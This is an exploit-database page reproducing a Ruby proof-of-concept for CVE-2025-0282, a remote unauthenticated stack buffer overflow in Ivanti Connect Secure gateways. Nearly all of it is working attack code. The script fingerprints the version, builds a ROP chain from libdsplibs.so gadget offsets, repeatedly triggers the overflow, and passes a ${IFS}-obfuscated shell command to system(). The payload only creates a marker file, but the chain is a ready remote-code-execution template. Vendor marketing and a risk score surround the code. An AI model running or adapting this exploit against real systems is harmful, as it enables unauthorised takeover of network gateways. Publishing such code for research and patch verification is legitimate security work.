Lucene search
K

Ivanti Buffer Overflow Proof of Concept

🗓️ 16 Jan 2025 00:00:00Reported by sfewer-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 231 Views

Ivanti Buffer Overflow exploit proof of concept demonstrating vulnerabilities in the system.

Related
Code
# PoC for CVE-2025-0282, a remote unauthenticated stack based buffer overflow affecting 
    # Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways.
    #
    # Based upon the exploitation strategy published by watchTowr (https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282).
    #
    # Usage: ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
    #
    # Stephen Fewer (Rapid7) - January 16, 2025.
    
    require 'base64'
    require 'socket'
    require 'openssl'
    require 'httparty'
    require 'optparse'
    
    HTTParty::Basement.default_options.update(verify: false)
    
    def log(txt)
    	$stdout.puts txt
    end
    
    def rand_string(len)
    	(0...len).map {'a'.ord + rand(26)}.pack('C*')
    end
    
    def send_http_data(s, data, verbose=false)
    
    	s.write(data)
    
    	result = ''
    
      content_length = 0
    
    	while line = s.gets
        p line if verbose
    
        m = line.match(/Content-length: (\d+)\r\n/)
        if m
          content_length = m[1].to_i
        end
    
    		result << line
    
        if line == "\r\n" && content_length
          break if content_length <= 0
    
          content = s.read(content_length)
    
          p content if verbose
    
          result << content
          break
        end
    	end
    
    	return result
    end
    
    # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
    def get_productversion(ip,port)
      res = HTTParty.get("https://#{ip}:#{port}/dana-na/auth/url_admin/welcome.cgi?type=inter")
    
      return nil unless res&.code == 200
    
      m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
    
      return nil unless m&.length == 2
    
      m[1]
    end
    
    def hax(ip, port)
    
        log "[+] Targeting #{ip}:#{port}"
    
        productversion = get_productversion(ip, port)
    
        if productversion.nil?
          log "[-] Could not get product version for #{ip}:#{port}"
          return
        end
    
        log "[+] Detected version #{productversion}"
    
        # Note: All gadgets are from /home/lib/libdsplibs.so
        targets= {
          # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
          '22.7.2.3597' => {
            padding_to_vftable: 2288,
            vftable_gadget_offset: 0x00934365 + 2,
            padding_to_next_frame: 2934,
            offset_to_got_plt: 0x00157c000,
            gadget_inc_ebx_ret: 0x01338373,
            gadget_mov_eax_esp_retn_c: 0x00ca2e84,
            gadget_add_eax_8_ret: 0x007a040c,
            gadget_mov_esp_eax_call_system: 0x004f0df3,
          }
        }
    
        target = targets[productversion]
    
        throw "No target for #{productversion}" unless target
    
        log "[#{Time.now}] Starting..."
    
        attempt = 0
    
        0.upto(2048) do
    
          s = TCPSocket.open(ip, port)
    
          if port == 443
            ctx = OpenSSL::SSL::SSLContext.new
    
            ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
    
            s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
              socket.sync_close = true
              socket.connect
            end
          end
    
          body  = "GET / HTTP/1.1\r\n"
          body << "Host: #{ip}:#{port}\r\n"
          body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
          body << "Content-Type: EAP\r\n"
          body << "Upgrade: IF-T/TLS 1.0\r\n"
          body << "Content-Length: 0\r\n"
          body << "\r\n"
    
          res1 = send_http_data(s, body)
    
          unless res1.include? '101 Switching Protocols'
            throw "bad response1"
          end
    
          data = [0, 1, 2, 2].pack('C*') # min version 1, max version 2, preferred version 2.
    
          body = [
            0x00005597, # VENDOR_TCG
            0x00000001, # IFT_VERSION_REQUEST
            data.length + 16,
            0 # seq id
          ].pack('NNNN') + data
    
          s.write(body)
    
          attempt += 1
    
          libdsplibs_base = 0xf6492000
    
          buffer  = ('C' * target[:padding_to_vftable])
          buffer += [libdsplibs_base + target[:vftable_gadget_offset]].pack('V') # ptr to address + 0x48, to ptr, to gadget
          buffer += ('A' * target[:padding_to_next_frame])
          buffer += [libdsplibs_base + target[:offset_to_got_plt] - 1].pack('V') # ebx == got.plt - 1
          buffer += [0xCAFEBEEF].pack('V') # esi
          buffer += [0xCAFEBEEF].pack('V') # edi
          buffer += [0xCAFEBEEF].pack('V') # ebp
          buffer += [libdsplibs_base + target[:gadget_inc_ebx_ret]].pack('V') # inc ebx; ret;
          buffer += [libdsplibs_base + target[:gadget_mov_eax_esp_retn_c]].pack('V') # mov eax, esp; ret 0xc;
          buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
          buffer += [0xCAFEBEEF].pack('V')
          buffer += [0xCAFEBEEF].pack('V')
          buffer += [0xCAFEBEEF].pack('V')
          buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
          buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
          buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
          buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
          buffer += [libdsplibs_base + target[:gadget_mov_esp_eax_call_system]].pack('V') # mov [esp], eax; call system;
          buffer += [0xCAFEBEEF].pack('V')
          buffer += "touch /var/tmp/haxor_#{attempt}; #".gsub(' ', '${IFS}')
    
          ["\x00"].each do |bad_char|
            throw "buffer cannot have bad char #{bad_char.chr}" if buffer.include? bad_char
          end
    
          data = "clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=#{buffer}\n\x00"
    
          body = [
            0x00000a4c, # VENDOR_JUNIPER
            0x00000088, # ?
            data.length + 16,
            1 # seq id
          ].pack('NNNN') + data
    
          log "[#{Time.now}] Triggering ##{attempt}..."
          s.write(body)
        rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::ECONNABORTED
          sleep(1)
          next
        end
    end
    
    target_ip = nil
    target_port = 443
    
    OptionParser.new do |opts|
      opts.banner = "Usage: CVE-2025-0282.rb [options]"
    
      opts.on("-t", "--taget=TARGET", "target IP") do |v|
        target_ip = v
      end
    
      opts.on("-p", "--port=PORT", "target port") do |v|
        target_port = v.to_i
      end
    end.parse!
    
    throw "set target IP via -t argument" unless target_ip
    
    hax(target_ip, target_port)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2025 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19
EPSS0.94129
SSVC
231